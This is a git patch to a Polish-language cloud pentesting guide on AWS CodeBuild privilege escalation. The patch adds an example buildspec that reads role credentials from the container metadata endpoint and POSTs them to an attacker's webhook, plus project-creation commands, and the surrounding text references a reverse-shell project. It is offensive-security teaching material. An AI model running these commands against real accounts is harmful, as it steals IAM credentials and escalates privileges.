From d6181802c6e369a0d78958f39019b40e7dd8459f Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Wed, 8 Jan 2025 20:44:55 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

---
 .../aws-codebuild-privesc.md                  | 44 ++++++++++++++++---
 1 file changed, 39 insertions(+), 5 deletions(-)

diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index b583a8f18..18ea04040 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
 
 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
-Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM Codebuild** poprzez utworzenie działającej. 
+Atakujący z uprawnieniami **`iam:PassRole`, `codebuild:CreateProject` oraz `codebuild:StartBuild` lub `codebuild:StartBuildBatch`** mógłby **podnieść uprawnienia do dowolnej roli IAM codebuild** poprzez utworzenie działającej. 
 
 {{#tabs }}
 {{#tab name="Example1" }}
@@ -133,11 +133,45 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
 # Start a build with the new project
 aws codebuild start-build --project-name reverse-shell-project
 
+```
+{{#endtab }}
+
+{{#tab name="Example3" }}
+```bash
+# Generated by ex16x41, tested
+# Create a hook.json file with command to send output from curl credentials URI to your webhook address
+
+{
+"name": "user-project-1",
+"source": {
+"type": "NO_SOURCE",
+"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n      - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
+},
+"artifacts": {
+"type": "NO_ARTIFACTS"
+},
+"environment": {
+"type": "LINUX_CONTAINER",
+"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
+"computeType": "BUILD_GENERAL1_SMALL"
+},
+"serviceRole": "ARN-OF-TARGET-ROLE"
+}
+
+# Create a new CodeBuild project with the hook.json file
+aws codebuild create-project --cli-input-json file:///tmp/hook.json
+
+# Start a build with the new project
+aws codebuild start-build --project-name user-project-1
+
+# Get Credentials output to webhook address
+Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
+
 ```
 {{#endtab }}
 {{#endtabs }}
 
-**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli AWS Codebuild.
 
 > [!WARNING]
 > W **kontenerze Codebuild** plik `/codebuild/output/tmp/env.sh` zawiera wszystkie zmienne środowiskowe potrzebne do uzyskania dostępu do **poświadczeń metadanych**.
@@ -184,7 +218,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH
 
 aws codebuild start-build --project-name codebuild-demo-project
 ```
-**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli AWS Codebuild.
+**Potencjalny wpływ:** Bezpośredni privesc do dowolnej roli AWS Codebuild.
 
 ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
 
@@ -264,7 +298,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
 {{#endtab }}
 {{#endtabs }}
 
-**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dołączonych ról AWS Codebuild.
+**Potencjalny wpływ:** Bezpośrednie privesc do dołączonych ról AWS Codebuild.
 
 ### SSM
 
@@ -285,7 +319,7 @@ A następnie:
 aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
 aws ssm start-session --target <sessionTarget> --region <region>
 ```
-Dla uzyskania dodatkowych informacji [**sprawdź dokumentację**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`